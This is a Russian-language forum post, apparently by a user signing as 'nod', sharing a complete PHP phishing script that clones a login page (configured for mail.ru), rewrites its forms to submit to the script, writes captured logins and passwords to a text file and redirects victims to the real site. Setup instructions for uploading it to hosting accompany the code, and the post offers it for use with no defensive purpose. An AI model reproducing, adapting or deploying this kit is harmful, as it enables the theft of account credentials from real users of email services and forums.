Универсальный скрипт создания фейков

Пару дней назад вечером не знал чем занятся... И решил сделать универсальный скрипт создания фейков. Делал всё на скорую руку, так что местами код кривоват, но работает.

Правим код (там где коменты, настройка скрипта), сохроняем в .php файле, и заливаем на хостинг.
Сейчас скрипт настроен на фейк майла ру. Не делает фейк icq.com , и ещё некоторых сайтов. Но фейк всяких форумов, хуяндекса и так далее делает идеально.

Код:
<?php
//Правим то что ниже
$site="http://mail.ru/"; //Адрес сайта, фейк которого нужно сделать  (http:// и закрывающий слеш обязателен!)
$upsite="http://mail.ru/";//Куда перекинуть юзера после ввода пароля
$yoursite="http://Адрес этого скрипта/index.php"; //Адрес фейка
$nformat=2;//Номер формата  (1) $p1 @ $p2 ; $p3 (2) $p1 *перенос строки* $p2 *перенос строки* $p3  (3) $p1 ; $p2
$p1="Login"; //Имена полей которые ловим POST'ом (берите их из ХТМЛ кода сайта. пример: <input type="text" class="long" size="10" name="Login" tabindex="1" value="asdfsad" />   Вот name="Login" и есть то самое поле. Вписываем Login
$p2="Domain";
$p3="Password";
$files="info.txt"; //Файл куда записывать пароли. Необходимы права 666
//Дальше ничего править не нужно
$p1=$_POST[$p1];
$p2=$_POST[$p2];
$p3=$_POST[$p3];
$site = str_replace('https://','http://' ,$site); $rid="193";
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') { $correct_return = "\r\n"; } else { $correct_return = "\n"; }
$format[1]=$p1."@".$p2.";".$p3.$correct_return;
$format[2]=$p1.$correct_return.$p2.$correct_return.$p3.$correct_return;
$format[3]=$p1.";".$p2.$correct_return;
function fvf($site,$yoursite,$rid) {
         $contents=file_get_contents ( $site );
         $sd=0;
         $sd1="";
         while ($sd1 != "/") { $sd=$sd-1; $sd1=substr($site, $sd, 1); }
        $sd=$sd+1;
        if ($sd != "") { $site=substr($site,0,$sd); }
        $contents = str_replace('onsubmit=','onsubmit=""' ,$contents);
        $contents = str_replace('url(', 'url('.$site ,$contents);
        $contents = str_replace('url('.$site.'"', 'url("'.$site ,$contents);
        $contents = str_replace("url(".$site."'", "url('".$site ,$contents);
        $contents = str_replace('get', 'post' ,$contents);
        $contents = str_replace('Get', 'post' ,$contents);
        $contents = str_replace('GET', 'post' ,$contents);
        $contents = str_replace('<form','<form action="'.$yoursite.'?'.$rid.'='.$rid.'&site='.$site.'" ',$contents);
        $contents = str_replace("HREF","href" ,$contents);
        $contents = str_replace("SRC","src" ,$contents);
        $contents = str_replace("BACKGROUND","background" ,$contents);
        $contents = str_replace('href="','href="'.$site ,$contents);
        $contents = str_replace('href ="','href ="'.$site ,$contents);
        $contents = str_replace("href='","href='".$site ,$contents);
        $contents = str_replace('href=/','href ='.$site ,$contents);
        $contents = str_replace('src="','src="'.$site ,$contents);
        $contents = str_replace("src='","src='".$site ,$contents);
        $contents = str_replace("src=i","src=".$site."i" ,$contents);
        $contents = str_replace('background="','background="'.$site ,$contents);
        $contents = str_replace('background ="','background ="'.$site ,$contents);
        $contents = str_replace("background='","background='".$site ,$contents);
        $contents = str_replace("background=i","background=".$site."i" ,$contents);
        $contents = str_replace($site.$site,$site,$contents);
        $contents = str_replace($site."/", $site ,$contents);
        $contents = str_replace('"m', '" m' ,$contents);
        $contents = str_replace('="'.$site.'http', '="http',$contents);
        echo $contents;
}
if ($_GET[$rid] != "")
{
        $file = fopen ($files,"a+");
        if ( !$file ) { echo("Ошибка открытия файла"); } else { fputs ( $file, $format[$nformat].$correct_return); } fclose ($file);
        if ($upsite != "") {echo "<meta http-equiv='REFRESH' CONTENT='0;URL=".$upsite."'>";  exit;};
        fvf($nosite,$yoursite,$rid);
        exit;
}
fvf($site,$yoursite,$rid);
?>

Автор: nod